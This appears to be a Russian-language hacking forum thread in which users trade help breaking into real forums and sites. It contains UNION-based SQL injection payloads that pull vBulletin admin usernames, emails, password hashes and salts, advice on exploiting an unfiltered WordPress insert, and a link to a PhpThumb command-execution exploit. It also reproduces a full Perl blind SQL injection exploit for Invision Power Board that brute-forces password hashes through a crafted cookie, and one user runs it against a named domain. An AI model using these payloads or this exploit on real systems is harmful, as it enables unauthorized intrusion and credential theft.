Есть уязвимый форум на vBulletin . При просмотре администраторов через: Code: форум/showgroups.php в группе Администраторы 3 человека. Но когда в Live HTTP дописываю: Code: &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6# то мне выдает всего 1 админа. Как сделать чтобы все админы выводились? Или эти 2 остальных админа прописаны тупо для вида?
а если попробовать LIMIT ? Code: &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 0,1# Code: &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 1,1# Code: &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE usergroupid=6 limit 2,1#
Я так понимаю там стоит фреймворк PhpThumb, попробуй поискать сплоиты именно под него, например: http://snipper.ru/view/8/phpthumb-179-arbitrary-command-execution-exploit/
на сайте есть пассивная xss в урле...но там идет только замена спец символов на их коды. больше никаких фильтров нет(100%) можно использовать как нибудь?
Интересно.. Поиграюсь вечером.. Есть еще вопрос. Возможно ли провести sql inj при INSERT в БД данных из массива? При этом, данные, в массиве из $_POST, и ни коем образом не фильтруются... Вот так: PHP: $wpdb->insert(TABLE, array('type' => $type, 'settings' => serialize($settings), 'created' => date("Y-m-d"), 'title' => $_POST['title'], 'description'=>$_POST['description'])); Смог реализовать активную XSS.. Данные инсертятся в БД без какой либо фильтрации, соответственно потом, при выборке title и или description, срабатывает XSS на странице.. Но нужен скуль.. Может что еще можно сделать тут? Думаю, как бы реализовать выполнение кода, но к сожалению, страница, которая отображает содержимое этих двух ячеек, никак не воспринимается интэрпритатором php, т.е. если отправить постом '<?php phpinfo(); ?>' а потом вывести на страницу, то будет просто навсего пустой тайтл или дискрипшн.. А в сорцах страницы отображается как есть: <?php phpinfo(); ?>.... Пока не знаю куда рыть дальше.. ---------------------------------------------- Переменная $type получает свое значение из $_GET[type], но фильтруется : PHP: if(!empty=$_GET['type']) && is_numeric($_GET['type']) { $type=$_GET[type]; } и тут никак не пробиться, поэтому остается надеяться на $_POST[title] и $_POST[description] ...
извиняюсь если ошибся темой. колупал сегодня один форум. методом подбора нашел в корневой файл tester.php вот отрывок из него: при запросе: tester.php?=start=2000' выдает следующее вопрос можно ли дальше что-то сделать?
Если бы твой опыт подсказал обратить внимание на запрос к бд который вываливается в ошибке: Code: SELECT user_id, username, user_unread_privmsg FROM users WHERE user_active = 1 LIMIT 2000', 1 то ты сразу бы заметил, что в данном случае всего три колонки участвующий в запросе user_id, username, user_unread_privmsg, соответственно иъекция должна быть вида: union select 1,2,3#
почему при использовании эксплойта в перл, при выводе MySQL version: Data dir: User: Database: id: group: Все строки пустые?
Code: #!/usr/bin/perl ## Invision Power Board SQL injection exploit by RTC-GNC-XxxEmchExxX ## vulnerable forum versions : 1.* , 2.* ,3.*(<3.1.4) ## tested on version 1 Final and version 3.1.4 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb3.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb3.pl blah.com /ipb314/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb314/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ## r57ipb3.pl blah.com /ipb314/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb314/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 3.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f103c2ff0937a1e1def351c34bf22d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team N RST/GHC ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ ## Credits: XxxEmchExxX , www.xxxemchexxx.blogspot.com ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key'):('password'); $server =~ s!(http://)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 3.*'):(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{bb DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr(42); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 3.1.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb3.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* 2 - IPB 3.* (Prior To 3.1.4) e.g. r57ipb3.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } c:\perl\bin\perl c:\perl\bin\ex.pl forum.ru/forum/ipb314/ 1 1 так вот
Вопрос, если пишет при поиске пароля через перл - FAILED , то значит что фикс? И еще вопрос, что в перле означает target?
делаю start=99999999+union+select+1,2,3--+ и сервер не отвечает, на большинство остальных заросов типа start=99999999+union+select+1,2,3,4,5--+ он нормально реагирует и выдает ошибку почему так?
скорее всего получившиеся данные обрабатывается еще каким-то способом, что ведет к глобальному фейлу скрипта, попробуй сделать так: start=99999999+union+select+1111,null,null--+ start=99999999+union+select+null,2222,null--+ start=99999999+union+select+null,null,3333--+